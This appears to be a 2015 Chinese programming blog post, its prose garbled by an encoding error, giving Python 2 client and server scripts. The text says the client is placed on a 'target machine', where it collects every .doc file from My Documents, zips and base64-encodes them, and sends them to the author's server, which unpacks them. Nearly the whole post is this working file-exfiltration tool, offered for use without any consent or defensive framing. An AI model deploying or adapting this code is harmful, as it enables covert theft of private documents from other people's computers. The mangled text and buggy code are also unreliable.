python實現(xiàn)獲取客戶機上指定文件并傳輸?shù)椒?wù)器的方法

更新時間：2015年03月16日 11:29:12 作者：上大王

這篇文章主要介紹了python實現(xiàn)獲取客戶機上指定文件并傳輸?shù)椒?wù)器的方法,涉及Python實現(xiàn)C/S架構(gòu)程序與socket程序的使用技巧,需要的朋友可以參考下

本文實例講述了python實現(xiàn)獲取客戶機上指定文件并傳輸?shù)椒?wù)器的方法。分享給大家供大家參考。具體分析如下：

該程序?qū)崿F(xiàn)了，把目標(biāo)機器的某個目錄（可控）的所有的某種類型文件（可控）全部獲取并傳到己方的機器上。

1、用了base64的encode(infile,outfile)加密，以及decode(infile,outfile)解密，這是2進(jìn)制加密解密
2、用zip壓縮
3、socket中server.py放到自己這方python server.py，然后client.py放到目標(biāo)機器，然后python client.py即可
4、本程序設(shè)置了獲取doc文件，修改extName可以獲取其它類型文件

服務(wù)器端程序：

復(fù)制代碼代碼如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import os

import zipfile

import codecs

import base64

def main():

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 6553500 #6M

    key = 'ouyang'

    timeout = 5

    dicName = "ouyang\\"

    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    try:

        ss.bind((HOST,PORT))

        ss.listen(5)

        print "wating for conntecting..."

        while True:

            try:

                cs,addr = ss.accept()

                socket.setdefaulttimeout(timeout)

                cs.send("200 Connected!")

                #獲取加密數(shù)據(jù)

                encode_data = cs.recv(BUF_SIZE)

                #把數(shù)據(jù)寫到out.zip文件

                tmpfile = open('out.tmp','wb')

                try:

                    tmpfile.write(encode_data)

                    tmpfile.close()

                except IOError,e:

                    print 'Strange error creating IOError:%s' % e  

                    tmpfile.close()

                finally:

                    tmpfile.close()

                #base64 decode 2進(jìn)制 解密 decode(infile,outfile)

                tmpfile = open('out.tmp','rb')

                outfile = open('out.zip','wb')

                base64.decode(tmpfile,outfile)

                tmpfile.close()

                outfile.close()

                #打開zip文件

                zfile = zipfile.ZipFile('out.zip','r')

                #創(chuàng)建一個文件夾來存放獲取的zip文件

                if not os.path.exists(dicName):

                    os.mkdir(dicName)

                for f in zfile.namelist():

                    data = zfile.read(f)

                    file = open(dicName+os.path.basename(f),'w+b')

                    file.write(data)

                    file.close()

                print "finished!!!"

                zfile.close()

                #后續(xù)處理 刪除臨時文件

                os.remove('out.tmp')

                cs.close()

            except socket.error, e:  

                print 'Strange error creating socket:%s' % e  

                cs.close()

        ss.close()

    except socket.error, e:

        print 'Strange error creating socket:%s' % e  

        ss.close()

if __name__=='__main__':

    main()

客戶端程序：

復(fù)制代碼代碼如下:

# -*- coding: cp936 -*-

import socket

import win32com.client

import win32api

import os

import time

import zipfile

import codecs

import base64

def walk_dir(dir,filelist,extName,topdown=True):

    for root, dirs, files in os.walk(dir, topdown):

        for name in files:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))      

        for name in dirs:

            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:

                filelist.append(os.path.join(root,name))

def main():       

    HOST = '127.0.0.1'

    PORT = 2000

    BUF_SIZE = 65535

    key = 'ouyang'

    dicName = "C:\Documents and Settings\Administrator\我的文檔"

    extName = '.doc'

    #遍歷搜索我的文檔的doc類型

    try:

        filelist = []

        walk_dir(dicName,filelist,extName)

    except IOError,e:

        print "文件處理錯誤: " % e

        sys.exit(-1)

    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try:

        cs.connect((HOST,PORT))

        print cs.recv(BUF_SIZE)

        #壓縮成zip文件

        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)

        for f in filelist:

            zfile.write(f)

        zfile.close()

        #base 2進(jìn)制 加密 encode(infile,outfile)

        infile = open('in.zip','rb')

        tmpfile = open('in.tmp','wb')

        base64.encode(infile,tmpfile)

        infile.close()

        tmpfile.close()

        #send

        tmpfile = open('in.tmp','rb')

        cs.send(tmpfile.read())

        tmpfile.close()

        #后續(xù)處理 刪除中間文件

        os.remove('in.tmp')

        cs.close()

    except socket.error ,e:

        print 'socket 出錯啦：' % e

        cs.close()

if __name__=='__main__':

    main()